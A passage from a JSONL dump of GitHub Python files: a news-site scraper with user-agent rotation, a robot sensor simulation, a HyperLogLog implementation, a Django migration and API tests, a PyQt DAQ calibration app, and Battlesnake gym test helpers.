''\n print(name)\n OutputZeeNews=[]\n OutputTimesOfIndia=[]\n global count\n\n# =============================================================================\n# User agent list to scrap different usrs and spoof various browsers \n# imported using fake_useragent\n# =============================================================================\n\n user_agent_list = [\n userAgent.msie,\n userAgent.chrome,\n userAgent.google,\n userAgent.firefox,\n userAgent.ff,\n userAgent.safari\n ]\n \n user_agent = random.choice(user_agent_list)\n \n# =============================================================================\n# Using if else to handle different webpages\n# =============================================================================\n\n if name == 'The Hindu':\n driver = webdriver.Firefox(executable_path = geckodriver)\n driver.get(url)\n webpage = driver.page_source\n\n elif name == 'Zee News':\n #print(user_agent)\n req = Request(\n url, \n data=None, \n headers={\n 'User-Agent': user_agent\n })\n webpage = urlopen(req).read()\n\n elif name == 'The Times of India':\n #print(user_agent)\n req = Request(\n url, \n data=None, \n headers={\n 'User-Agent': user_agent\n })\n webpage = urlopen(req).read()\n \n \n page_soup = soup(webpage, features=\"lxml\")\n #output = page_soup.prettify()\n\n# =============================================================================\n# #The hindu\n# =============================================================================\n \n if name == 'The Hindu':\n \n print('Article Number -->', count)\n \n outputTheHindu = page_soup.find('div', {'class': '_yeti_done'})\n outputTheHindu = soup(str(outputTheHindu))\n print(outputTheHindu)\n count = count + 1\n \n################### Creating data dict ######################################## \n data = {\n #'totalResults': str(total),\n 'source': {\n 'id': 'the-hindu',\n 'name': name\n },\n 'author' : author,\n 'title': title,\n 'description': 'Summary Goes Here',\n 'url': url,\n 'urlToImage': urlToImage,\n 'publishedAt': publishedAt,\n 'content': str(outputTheHindu)\n }\n\n ArticlesList.append(data)\n \n #with open('NewsJsonOutput.json', 'a') as f:\n #json.dump(data, f, indent=4)\n \n# =============================================================================\n# #Zee News\n# =============================================================================\n \n elif name == 'Zee News':\n \n print('Article Number -->', count)\n \n########## Getting publised date and time information #################################\n publishedAtZeeNews = page_soup.find_all('div', {'class': 'write-block margin-bt20px'})\n publishedAtZeeNews = soup(str(publishedAtZeeNews))\n publishedAtZeeNews = re.sub(r'<.*?>', '', str(publishedAtZeeNews()))\n publishedAtZeeNews = re.split(\",\", publishedAtZeeNews)\n publishedAtZeeNews = str(publishedAtZeeNews[0]) + str(publishedAtZeeNews[1]) + str(publishedAtZeeNews[2])\n publishedAtZeeNews = re.sub('[/[[/]', '', publishedAtZeeNews)\n \n #authorZeeNews = page_soup('meta', {'name': 'news_keywords'})\n #authorZeeNews = re.sub('^(.*content=\")', '', str(authorZeeNews))\n #authorZeeNews = re.split(',', authorZeeNews)[0]\n \n############### Processing the content body data ####################################### \n outputZeeNews = page_soup('div', {'class': 'field-item even'})\n outputZeeNews = soup(str(outputZeeNews))\n if len(outputZeeNews('p')) > 3:\n OutputText = re.sub('', '', str(outputZeeNews('p')))\n OutputText = re.sub('[[]', '', OutputText)\n OutputText = re.sub('[]]', '', OutputText)\n OutputText = re.sub(r', \\xa0', '', OutputText)\n OutputText = re.sub(r'\\xa0', '', OutputText)\n OutputText = re.split('
', OutputText)\n \n for InternalIterator in range(0, len(OutputText)):\n if len(OutputText[InternalIterator]) > 4:\n text = re.sub(r'[^\\w\\s]','', OutputText[InternalIterator])\n OutputZeeNews.append(text)\n \n \n print(OutputZeeNews)\n count = count + 1\n\n################### Creating data dict ######################################## \n OutputZeeNews.pop()\n data = {\n #'totalResults': str(total),\n 'source': {\n 'id': 'zee-news',\n 'name': name\n },\n 'author' : author,\n 'title': title,\n 'description': 'Summary Goes Here',\n 'url': url,\n 'urlToImage': urlToImage,\n 'publishedAt': publishedAtZeeNews,\n 'content': OutputZeeNews\n }\n \n ArticlesList.append(data)\n \n #with open('NewsJsonOutput.json', 'a') as f: \n #json.dump(data, f, indent=4)\n\n\n# =============================================================================\n# #The times of India\n# =============================================================================\n \n elif name == 'The Times of India':\n \n print('Article Number -->', count)\n \n outputTimesOfIndia = page_soup('div', {'class': 'Normal'})\n outputTimesOfIndia = soup(str(outputTimesOfIndia))\n\n\n############### Processing the content body data ####################################### \n OutputText = re.sub(r'<.*?>', '', str(outputTimesOfIndia('div', {'class': 'Normal'})))\n OutputText = re.sub(\"\\'s\", \"\", OutputText)\n OutputText = re.sub(\"\\n\", \"\", OutputText)\n OutputText = re.sub(\"[/]/]\", \"\", OutputText)\n OutputText = re.sub(\"\\u201d\", \"\", OutputText)\n OutputText = re.sub(\"[[/]\", \"\", OutputText)\n OutputText = re.split(\"[.]\", OutputText)\n print(OutputText)\n \n for InternalIterator in range(0, len(OutputText)):\n if len(OutputText[InternalIterator]) > 0:\n text = re.sub(r'[[/]','', OutputText[InternalIterator])\n text = re.sub(r'\\u201c | \\u2019s | \\\" | \\u2013 | \\u201d | \\\" | \\u201c','', text)\n OutputTimesOfIndia.append(text)\n \n print(OutputTimesOfIndia)\n count = count + 1\n\n################### Creating data dict ########################################\n OutputTimesOfIndia.pop()\n data = {\n #'totalResults': str(total),\n 'source': {\n 'id': 'the-times-of-india',\n 'name': name\n },\n 'author' : author,\n 'title': title,\n 'description': 'Summary Goes Here',\n 'url': url,\n 'urlToImage': urlToImage,\n 'publishedAt': publishedAt,\n 'content': OutputTimesOfIndia\n }\n \n ArticlesList.append(data)\n\n #with open('NewsJsonOutput.json', 'a') as f: \n #json.dump(data, f, indent=4) \n \n #with open('Beautiful2.txt', 'a') as f:\n #f.write(output)\n \n# =============================================================================\n# CAll this function to implement this python file\n# =============================================================================\n \ndef StartFunction(Keyword):\n \n ua = UserAgent()\n \n global count\n global Total\n global PrevLimit\n count = 1\n Total = 0\n limit = 0\n PrevLimit = 0\n TopicsList = api.callAPI(Keyword)\n TopicsListZeeNews = ZeeNewsSearcher.CallZeeNews(Keyword)\n Total = len(TopicsList) + len(TopicsListZeeNews)\n print('')\n print('Total Targed articles to scrap -->', Total)\n print('')\n\n# =============================================================================\n# Iterating News API\n# =============================================================================\n \n try :\n \n for Iterator in range(0, len(TopicsList)):\n\n Url = TopicsList[Iterator]['url']\n Name = TopicsList[Iterator]['name']\n Title = TopicsList[Iterator]['title']\n Author = TopicsList[Iterator]['author']\n UrlToImage = TopicsList[Iterator]['urlToImage']\n PublishedAt = TopicsList[Iterator]['publishedAt']\n \n Scrapper(Url, Name, \n title = Title, \n author = Author, urlToImage = UrlToImage,\n publishedAt = PublishedAt, userAgent = ua)\n PrevLimit = limit\n limit = random.randint(7, 14)\n if PrevLimit == limit:\n limit = random.randint(8, 18)\n print(\"Sleeping for --> \", limit)\n print('')\n time.sleep(limit)\n \n# =============================================================================\n# Iterating Zee news\n# =============================================================================\n \n for IteratorZee in range(0, len(TopicsListZeeNews)):\n Url = TopicsListZeeNews[IteratorZee]['url']\n Name = TopicsListZeeNews[IteratorZee]['name']\n Title = TopicsListZeeNews[IteratorZee]['title']\n \n Scrapper(Url, Name, \n title = Title,\n userAgent = ua)\n PrevLimit = limit\n limit = random.randint(7, 14)\n if PrevLimit == limit:\n limit = random.randint(8, 18)\n print(\"Sleeping for --> \", limit)\n print('')\n time.sleep(limit)\n\n# =============================================================================\n# Dunping final articles into json format\n# =============================================================================\n \n finally:\n \n JsonData = {\n \"status\": \"ok\",\n \"totalResults\": len(ArticlesList),\n \"articles\": ArticlesList\n }\n \n with open('/home/ubuntu/Desktop/News_Output_Test/NewsJsonOutput.json', 'a') as f:\n json.dump(JsonData, f, indent=4)\n \n return JsonData","repo_name":"RashbirSingh/News_scrapper","sub_path":"Code/InfoScrapper.py","file_name":"InfoScrapper.py","file_ext":"py","file_size_in_byte":12353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38550762495","text":"#\n# Sensors\n#\n# In the original Sim.I.Am code there is no base class, as the sensors are\n# completely arbitrary objects\n#\n\nimport random\nfrom simobject import SimObject\nfrom pose import Pose\nfrom math import sin, cos, sqrt\n\nfrom robot import Robot\n\nclass Sensor:\n \"\"\"Base superclass for sensor objects\"\"\"\n @classmethod\n def add_gauss_noise(value, sigma):\n \"\"\"Returns the value with an added normal noise\n \n The return value is normally distributed around value with a standard deviation sigma\n \"\"\"\n return random.gauss(value,sigma)\n \nclass MountedSensor(SimObject, Sensor):\n \"\"\"A sensor that moves together with its parent object.\n \n The sensor is assumed to be attached to *parent* at *pose* in local\n coordinates.\n \"\"\"\n def __init__(self,pose,parent):\n SimObject.__init__(self,pose)\n self.__frame = parent\n\n def get_internal_pose(self):\n \"\"\"Get the pose of the sensor in the parent (robot) coordinates.\"\"\"\n return SimObject.get_pose(self)\n \n def get_pose(self):\n x, y, t = SimObject.get_pose(self)\n rx, ry, rt = self.__frame.get_pose()\n return Pose(rx+x*cos(rt)-y*sin(rt),ry+x*sin(rt)+y*cos(rt),t+rt)\n \nclass ProximitySensor(MountedSensor):\n \"\"\"Create a proximity sensor mounted on robot at *pose*. The geometry\n is a (rmin, rmax, angle) tuple.\n \"\"\"\n def __init__(self,pose,robot,geometry):\n \"\"\"Create a proximity sensor mounted on robot at pose. The geometry\n is a (rmin, rmax, angle) tuple\n \"\"\"\n MountedSensor.__init__(self,pose,robot)\n self.rmin, self.rmax, self.phi = geometry\n self.pts = self.get_cone(self.rmax)\n self.fullcone = [(0,0),\n (self.rmax*cos(self.phi/2),self.rmax*sin(self.phi/2)),\n (self.rmax,0),\n (self.rmax*cos(self.phi/2),-self.rmax*sin(self.phi/2))]\n \n self.__distance = 65536\n self.set_color(0x33FF5566)\n\n def get_cone(self, distance):\n return [(self.rmin*cos(self.phi/2),self.rmin*sin(self.phi/2)),\n (distance*cos(self.phi/2),distance*sin(self.phi/2)),\n (distance,0),\n (distance*cos(self.phi/2),-distance*sin(self.phi/2)),\n (self.rmin*cos(self.phi/2),-self.rmin*sin(self.phi/2))]\n \n def get_envelope(self):\n \"\"\"Return the envelope of the sensor\"\"\"\n return self.fullcone\n\n def distance_to_value(self,dst):\n \"\"\"Returns the distance to the value using sensor calculations\"\"\"\n raise NotImplementedError(\"ProximitySensor.distance_to_value\")\n \n def distance(self):\n \"\"\"Returns the distance instance\"\"\"\n return self.__distance\n \n def reading(self):\n \"\"\"Returns the reading value\"\"\"\n return self.distance_to_value(self.distance())\n\n def update_distance(self, sim_object = None):\n \"\"\"updates all the distances from the reading\"\"\"\n if sim_object is None:\n # reset distance to max\n self.__distance = 65536\n self.set_color(0x33FF5566)\n self.pts = self.get_cone(self.rmax)\n return True\n else:\n distance_to_obj = self.get_distance_to(sim_object)\n if distance_to_obj:\n if self.__distance > distance_to_obj:\n #self.set_color(0x336655FF)\n self.set_color(0xCCFF5566)\n self.pts = self.get_cone(distance_to_obj)\n self.__distance = distance_to_obj\n return True\n return False\n\n def draw(self, r):\n \"\"\"draws the sensor simobject\"\"\"\n r.set_pose(self.get_pose())\n r.set_brush(self.get_color())\n r.draw_ellipse(0,0,min(1,self.rmin/2),min(1,self.rmin/2))\n r.draw_polygon(self.pts)\n \n def get_distance_to(self, sim_object):\n \"\"\"Gets the distance to another simobject\n returns distance in meters or None if not in contact\"\"\"\n ox, oy, ot = self.get_pose()\n min_distance = None\n for px, py in self.get_contact_points(sim_object):\n distance = sqrt((px-ox)*(px-ox)+(py-oy)*(py-oy))\n if min_distance is not None:\n if distance < min_distance:\n min_distance = distance\n else: min_distance = distance\n return min_distance\n","repo_name":"typograph/pysimiam","sub_path":"scripts/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":4443,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"53"}
+{"seq_id":"20883340194","text":"# coding: utf-8\n# simple_hyperloglog.py\n\nimport ctypes\nimport mmh3\nfrom math import ceil, log\n\n# ctypes.util.find_library(\"c\") => Cライブラリのパス。環境によって違うので注意。\nlibc = ctypes.cdll.LoadLibrary('/usr/lib/libc.dylib')\n\ndef get_rho(w):\n \"\"\"\n :param w: 対象の値\n 最小位から数えて最初の1ビットの位置(1-indexed)\n \"\"\"\n return libc.ffs(w)\n\ndef get_alpha(p):\n \"\"\"\n :param p: precision、精度に関連したビット数\n 定数、alpha_mを返す。m = 2 ** p\"\"\"\n if not (4 <= p <= 16):\n raise ValueError(\"Expected p ∈ [4..16] but got %d\" % p)\n alpha_ms = [0.673, 0.697, 0.709]\n if p in (4, 5, 6):\n return alpha_ms[p - 4]\n else:\n return (0.7213 / (1. + 1.079 / (2 ** p)))\n\ndef linear_counting(m, v):\n \"\"\"\n :param m: バケット(estimator)の数、2 ** p\n :param v: 値が0のバケットの数\n small range correction\n \"\"\"\n return m * log(float(m) / v)\n\nclass HyperLogLog(object):\n \"\"\"\n 2007年のHLL論文の擬似コード参照\n Flajolet et al. DMTCS Proc. 2007. 127-146.\n \"\"\"\n\n def __init__(self, relative_error):\n \"\"\"\n :param relative_error: HLLに要求する誤差、[0..1]\n initialize M(0)...M(m - 1) with 0\n relative_error = 1.04 / sqrt(m)\n m = 2 ** p\n i.e. p = log((1.04 / error) ** 2)\n \"\"\"\n self.error = relative_error # デモ用に保存\n self.p = int(ceil(log((1.04 / relative_error) ** 2, 2)))\n self.m = 2 ** self.p\n self.alpha = get_alpha(self.p)\n self.M = [0 for _ in xrange(self.m)]\n\n def __len__(self):\n return round(self.estimate_cardinality())\n\n def add(self, value):\n \"\"\"\n :param value: HLLに追加する値\n h: D -> {0, 1} ** 32 ; 32-bit hash func with domain D\n x = h(v) ; hash value\n j = _2; bin index; ANDで取り出す\n w = _2; the rest of the bits; p-bit 右シフト\n M[j] = max(M[j], rho(w));\n \"\"\"\n hash_value = mmh3.hash(value)\n bin_idx = hash_value & (self.m - 1)\n w = hash_value >> self.p\n self.M[bin_idx] = max(self.M[bin_idx], get_rho(w))\n\n def get_raw_estimate(self):\n return (self.alpha * self.m ** 2) / sum((2 ** -x) for x in self.M)\n\n def estimate_cardinality(self):\n E = self.get_raw_estimate()\n if E <= ((5./2) * self.m): # small range correction\n v = self.M.count(0)\n if v != 0:\n return linear_counting(self.m, v)\n else:\n return E\n elif E <= ((1./30) * (2 ** 32)):\n return E\n else: # large range correction\n return -(2 ** 32) * log(1 - (float(E) / (2 ** 32)))","repo_name":"atakemura/probabilistic_data_structures_report","sub_path":"simple_hyperloglog.py","file_name":"simple_hyperloglog.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19111940183","text":"from django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('item', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Basket',\n fields=[\n ('basket_id', models.AutoField(primary_key=True, serialize=False)),\n ('quantity', models.IntegerField(default=1, help_text='Введите количество продукта', verbose_name='Количество')),\n ('created_date', models.DateTimeField(auto_now_add=True, help_text='Дата добавления в корзину', verbose_name='Дата создания')),\n ('customer', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL, verbose_name='Пользователь')),\n ('item', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='item.item', verbose_name='Продукт')),\n ],\n options={\n 'db_table': 'gs_basket',\n 'ordering': ['created_date'],\n },\n ),\n ]\n","repo_name":"Inna-Alex/django_grandshop","sub_path":"basket/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"4531634568","text":"'''\ntry:\n 检测范围\nexcept Exception[as reason]:\n 出现异常(Exception)后的处理代码\nfinally:\n 无论如何都会被执行的代码\n'''\n\n# 在try中,有一句出错直接跳过剩下代码,进入except\ntry:\n # int('abc') # 没有关注有关这个的异常,所以是正常报错,如果想给用户提示,可以方便些使用不加任意异常名的except,但不推荐这么做\n sum = 1 + '1'\n f = open(\"这是一个文件.txt\")\n print(f.read())\n f.close()\n# OSError可以省略(默认捕捉所有异常),但如果要加上as,就不能省略\n# as reason(reason是个变量名,可以随意更改) 错误原因\n# except (OSError, TypeError) as reason: # 也可以这么写\nexcept OSError as reason:\n print(\"1文件出错,可能是找不到\\n错误的原因是:\", str(reason)) # 这里的str也可以不加,暂时没有看出不同\nexcept TypeError as reason:\n print(\"2文件出错,可能是找不到\\n错误的原因是:\", str(reason)) # 这里的str也可以不加,暂时没有看出不同\n\n\n# 自己引发异常\nraise","repo_name":"pangfeiyo/PythonLearn","sub_path":"甲鱼python/课程代码/第33讲/处理检测异常.py","file_name":"处理检测异常.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74991164967","text":"from PyQt4 import QtCore, QtGui\r\n#imports for matplotlib\r\nimport os\r\nfrom matplotlib.backends import qt_compat\r\nfrom matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas\r\nfrom matplotlib.figure import Figure\r\n\r\n#custom imports for the DAQ and excel\r\nfrom MultiChannelAnalogInput import *\r\nimport ExcelTools\r\nimport time\r\n\r\n\r\nAnimateRefreshTime=1000#ms\r\nglobal AnimateData\r\nAnimateData={'pressure':[0,1]}\r\nChanList=[]\r\nfor n in range(2):\r\n ChanList.append('Dev1/ai'+str(n))\r\n AnimateData[ChanList[n]]=[0,0]\r\nPTChan=ChanList\r\n\r\nglobal Started\r\nStarted = False\r\n\r\n#Access DAQ\r\nglobal MCAI\r\nMCAI = MultiChannelAnalogInput(ChanList)\r\n\r\n####NEED MCAI MODULE\r\nclass MPLCanvas(FigureCanvas):\r\n '''Ultimately, this is a QWidget (as well as a FigureCanvasAgg, etc.).'''\r\n def __init__(self, parent=None, width=5, height=4, dpi=100):\r\n fig = Figure(figsize=(width, height), dpi=dpi)\r\n self.axes = fig.add_subplot(111)\r\n self.compute_initial_figure()\r\n FigureCanvas.__init__(self, fig)\r\n self.setParent(parent)\r\n FigureCanvas.setSizePolicy(self,QtGui.QSizePolicy.Expanding,QtGui.QSizePolicy.Expanding)\r\n FigureCanvas.updateGeometry(self)\r\n def compute_initial_figure(self):\r\n pass\r\nclass DynamicPTMPL(MPLCanvas):\r\n \"\"\"A canvas that updates itself every second with a new plot.\"\"\"\r\n def __init__(self, *args, **kwargs):\r\n MPLCanvas.__init__(self, *args, **kwargs)\r\n timer = QtCore.QTimer(self)\r\n timer.timeout.connect(self.update_figure)\r\n timer.start(AnimateRefreshTime)\r\n def compute_initial_figure(self):\r\n self.axes.plot([0, 1], [0,0], 'or')\r\n self.axes.set_title('PT')\r\n def update_figure(self):\r\n self.axes.cla()\r\n global AnimateData\r\n self.axes.cla()\r\n for key in PTChan:\r\n self.axes.plot(AnimateData['pressure'],AnimateData[key],'or')\r\n self.axes.set_title('PT')\r\n self.draw()\r\n\r\nclass AskPressure(QtGui.QMainWindow):\r\n def __init__(self):\r\n QtGui.QMainWindow.__init__(self)\r\n self.widget = QtGui.QWidget()\r\n self.setCentralWidget(self.widget)\r\n self.setWindowTitle('Pressure?')\r\n self.verticalLayout = QtGui.QVBoxLayout()\r\n self.buttonBox = QtGui.QDialogButtonBox()\r\n self.buttonBox.setStandardButtons(QtGui.QDialogButtonBox.Cancel|QtGui.QDialogButtonBox.Ok)\r\n self.buttonBox.accepted.connect(self.getText)\r\n self.lineEdit = QtGui.QLineEdit()\r\n self.verticalLayout.addWidget(self.buttonBox)\r\n self.verticalLayout.addWidget(self.lineEdit)\r\n self.widget.setLayout(self.verticalLayout)\r\n def getText(self):\r\n myanswer=float(self.lineEdit.text())\r\n for n in range(100):\r\n myvoltagedict=MCAI.readSingle()\r\n myvoltagedict['pressure']=myanswer\r\n global AnimateData\r\n global Started\r\n if Started: \r\n for key in AnimateData:\r\n AnimateData[key].append(myvoltagedict[key])\r\n else:\r\n Started=True\r\n for key in myvoltagedict:\r\n if key != 'time':\r\n AnimateData[key]=[myvoltagedict[key]]\r\n\r\nclass Ui_PotatoGunTestingApp(QtGui.QMainWindow):\r\n def __init__(self,parent=None):\r\n super(Ui_PotatoGunTestingApp,self).__init__(parent)\r\n PotatoGunTestingApp.resize(1000, 800)\r\n self.centralwidget = QtGui.QWidget(PotatoGunTestingApp)\r\n PotatoGunTestingApp.setCentralWidget(self.centralwidget)\r\n \r\n self.gridLayout = QtGui.QGridLayout(self.centralwidget)\r\n ###\r\n self.startButton = QtGui.QPushButton(self)\r\n self.startButton.setText('Get Voltage')\r\n self.startButton.clicked.connect(self.get_pressure)\r\n\r\n self.stopButton = QtGui.QPushButton(self)\r\n self.stopButton.setText('Save')\r\n self.stopButton.clicked.connect(self.save)\r\n\r\n self.animatedPTGraph = DynamicPTMPL(self.centralwidget)\r\n self.gridLayout.addWidget(self.startButton,0,0,2,1)\r\n self.gridLayout.addWidget(self.stopButton,0,1,2,1)\r\n self.gridLayout.addWidget(self.animatedPTGraph,1,0,2,1)\r\n \r\n QtGui.QApplication.setStyle(QtGui.QStyleFactory.create(\"Cleanlooks\"))\r\n QtGui.QApplication.setWindowIcon(QtGui.QIcon('potato.ico'))\r\n QtCore.QMetaObject.connectSlotsByName(PotatoGunTestingApp)\r\n def get_pressure(self):\r\n self.w = AskPressure()\r\n self.w.show()\r\n def save(self):\r\n name = QtGui.QFileDialog.getSaveFileName(self, 'Save File')\r\n if '' == name:\r\n pass\r\n else:\r\n name=name+'.xlsx'\r\n global AnimateData\r\n ExcelTools.saveData(AnimateData,name)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtGui.QApplication(sys.argv)\r\n PotatoGunTestingApp = QtGui.QMainWindow()\r\n ui = Ui_PotatoGunTestingApp()\r\n PotatoGunTestingApp.show()\r\n sys.exit(app.exec_())\r\n\r\n","repo_name":"beckpeter/Potato_Gun","sub_path":"CalibrationApp.py","file_name":"CalibrationApp.py","file_ext":"py","file_size_in_byte":5030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74479461609","text":"import os\nimport time\n\nimport numpy as np\n\nfrom battlesnake_gym.snake_gym import BattlesnakeGym\nfrom battlesnake_gym.snake import Snake\n\ndef simulate_snake(env, actions, render=False, break_with_done=True):\n '''\n Helper function to run certain actions based in an environment.\n\n Parameters:\n ----------\n env: BattlesnakeGym\n actions: [np.array(number_of_snakes)]\n A list of np.arrays corresponding to the actions taken at each time step.\n The size of the np.array is equal to the number of snakes in env\n\n render: Bool, optional, default: False\n Boolean to indicat should the gym be visualised\n\n break_with_done: Bool, optional, default: True\n By default, BattlesnakeGym will send a done signal if there is only one snake\n remaining (an indication that the game is over). This boolean allows testing to\n occur even if there is only 1 snake\n\n Returns:\n -------\n observation: np.array\n states of the last timestep taken\n\n total_reward: int\n the sum of all rewards\n done: bool\n info: {}\n Misc. information\n '''\n total_reward = {}\n for i, action in enumerate(actions):\n if render:\n env.render()\n time.sleep(0.2)\n observation, reward, done, info = env.step(action)\n for k in reward:\n if k not in total_reward: total_reward[k] = 0\n total_reward[k] += reward[k]\n if done:\n if break_with_done:\n break\n return observation, total_reward, done, info\n\ndef grow_snake():\n ''''\n Helper function to grow a snake.\n '''\n snake_location = [(0, 0)]\n food_location = [(2, 0), (4, 2), (2, 4), (4, 6), (6, 8),\n (0, 0), (0, 0), (0, 0), (0, 0), (0, 0), (0, 0),\n (0, 0), (0, 0), (0, 0), (0, 0), (0, 0), (0, 0),\n (0, 0), (0, 0), (0, 0), (0, 0), (0, 0), (0, 0)]\n env = BattlesnakeGym(map_size=(9, 9), number_of_snakes=1,\n snake_spawn_locations=snake_location,\n food_spawn_locations=food_location,\n verbose=True)\n\n env.food.max_turns_to_next_food_spawn = 2 # Hack to make sure that food is spawned every turn\n\n actions = [[Snake.DOWN], [Snake.DOWN],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.DOWN], [Snake.DOWN],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.UP], [Snake.UP],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.DOWN], [Snake.DOWN],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.DOWN], [Snake.DOWN], [Snake.DOWN]]\n\n simulate_snake(env, actions, render=should_render(), break_with_done=False)\n return env\n\ndef grow_two_snakes(snake_starting_positions):\n '''\n Helper function to grow two snakes based on the snake_starting_position.\n '''\n snake_location = snake_starting_positions\n food_location = [(2, 0), (2, 2), (4, 2), (2, 4), (4, 6),\n (7, 5), (7, 4), (7, 3), (7, 2)] + [(0, 0)] * 100\n env = BattlesnakeGym(map_size=(9, 9), number_of_snakes=2,\n snake_spawn_locations=snake_location,\n food_spawn_locations=food_location,\n verbose=True)\n env.food.max_turns_to_next_food_spawn = 2 # Hack to make sure that food is spawned every turn\n\n actions_snake1 = [[Snake.DOWN], [Snake.DOWN],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.DOWN], [Snake.DOWN],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.UP], [Snake.UP],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.DOWN], [Snake.DOWN],\n [Snake.RIGHT], [Snake.RIGHT], [Snake.DOWN], [Snake.DOWN], [Snake.DOWN]]\n\n actions_snake2 = [[Snake.RIGHT] ] *7 + [[Snake.DOWN]] + [[Snake.LEFT] ] *7 + [[Snake.DOWN]] + [[Snake.RIGHT] ] *3\n tmp_actions = list(zip(actions_snake1, actions_snake2))\n actions = []\n for action in tmp_actions:\n actions.append(np.array([action[0], action[1]]))\n\n simulate_snake(env, actions, render=should_render(), break_with_done=False)\n return env\n\ndef should_render():\n '''\n Helper function to know whether to render the game based on env var\n BATTLESNAKE_RENDER=1 or BATTLESNAKE_RENDER=0. Default 0\n :return:\n '''\n if 'BATTLESNAKE_RENDER' in os.environ:\n return int(os.environ.get('BATTLESNAKE_RENDER')) == 1\n else:\n return False","repo_name":"awslabs/sagemaker-battlesnake-ai","sub_path":"source/BattlesnakeGym/test/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":4413,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"53"}
+{"seq_id":"36426216743","text":"from datetime import timedelta\nfrom http import HTTPStatus\n\nimport redis\nfrom django.conf import settings\nfrom django.urls import reverse_lazy\nfrom django.utils.timezone import now\nfrom oauth2_provider.models import AccessToken\nfrom rest_framework.test import APITestCase\n\nfrom users.models import BotSettings, Leaderboard, User\nfrom users.serializers import (BotSettingsSerializer,\n LeaderboardSecretSerializer,\n LeaderboardSerializer)\n\nr = redis.StrictRedis(host=settings.REDIS_HOST, port=settings.REDIS_PORT, db=1)\n\n\nclass UsersApiTestCase(APITestCase):\n\n def setUp(self) -> None:\n self.user = User.objects.create_user(username='testuser1', email='testuser1@mail.ru', password='testtesttest1')\n self.access = AccessToken.objects.create(user=self.user,\n token='uN2yQEkuAn9FGwJlfa2lpEtsqxb2Az',\n expires=now() + timedelta(hours=1), )\n self.temp_user = User.objects.create_user(username='tempUser1',\n email='tempUser1@mail.ru',\n password='testtesttest1')\n self.headers = {'Authorization': 'Bearer ' + self.access.token}\n\n def clear_cache(self):\n keys_with_match = r.keys(f\"*{self.user.username}*\")\n for key in keys_with_match:\n r.delete(key)\n\n def test_get_leaderboard(self):\n self.clear_cache()\n\n leaderboard = Leaderboard.objects.get(channel=self.user)\n\n # get leaderboard\n url = reverse_lazy('leaderboard-detail', args=(self.user.username,))\n response = self.client.get(url, headers=self.headers)\n serializer_leaderboard = LeaderboardSerializer(leaderboard).data\n self.assertEquals(response.data, serializer_leaderboard)\n\n # check permissions\n url = reverse_lazy('leaderboard-detail', args=(self.temp_user.username,))\n response = self.client.get(url, headers=self.headers)\n self.assertEqual(response.status_code, HTTPStatus.FORBIDDEN)\n\n def test_leaderboard_secret(self):\n self.clear_cache()\n\n # get leaderboard_secret\n url = reverse_lazy('leaderboard-secret-detail', args=(self.user.username,))\n response = self.client.get(url, headers=self.headers)\n\n leaderboard = Leaderboard.objects.get(channel=self.user)\n serializer_secret = LeaderboardSecretSerializer(leaderboard).data\n self.assertEquals(response.data, serializer_secret)\n\n # change secret\n query_param = '?new=1'\n url = reverse_lazy('leaderboard-secret-detail', args=(self.user.username,)) + query_param\n response = self.client.get(url, headers=self.headers)\n self.assertNotEquals(response.data, serializer_secret)\n\n # check permissions\n url = reverse_lazy('leaderboard-detail', args=(self.temp_user.username,))\n response = self.client.get(url, headers=self.headers)\n self.assertEqual(response.status_code, HTTPStatus.FORBIDDEN)\n\n def test_update_leaderboard(self):\n self.clear_cache()\n\n url = reverse_lazy('leaderboardmembers-list') + f'?channel={self.user.username}'\n data = {'channel': {\n 'username': 'newnick'}\n }\n\n # test update leaderboard\n response = self.client.patch(url,\n headers=self.headers,\n data=data,\n format='json')\n self.assertEqual(response.status_code, HTTPStatus.METHOD_NOT_ALLOWED)\n\n def test_get_settings(self):\n self.clear_cache()\n\n self.settings = BotSettings.objects.get(user=self.user)\n serializer_settings = BotSettingsSerializer(self.settings).data\n\n # get settings\n url = reverse_lazy('botsettings-detail', args=(self.user.username,))\n response = self.client.get(url, headers=self.headers)\n self.assertEquals(response.data, serializer_settings)\n\n # test permissions\n url = reverse_lazy('botsettings-detail', args=(self.temp_user.username,))\n response = self.client.get(url, headers=self.headers)\n self.assertEqual(response.status_code, HTTPStatus.FORBIDDEN)\n\n def test_update_settings(self):\n self.clear_cache()\n\n url = reverse_lazy('botsettings-detail', args=(self.user.username,))\n get_response = self.client.get(url, headers=self.headers)\n # test update\n data = {\n 'voice_status': 2,\n 'command': 'privet',\n 'language': 'eng',\n 'volume': '0.5',\n 'rate': '0.3',\n 'pitch': '0.4',\n 'delay': 5\n }\n response = self.client.patch(url,\n headers=self.headers,\n data=data,\n format='json')\n 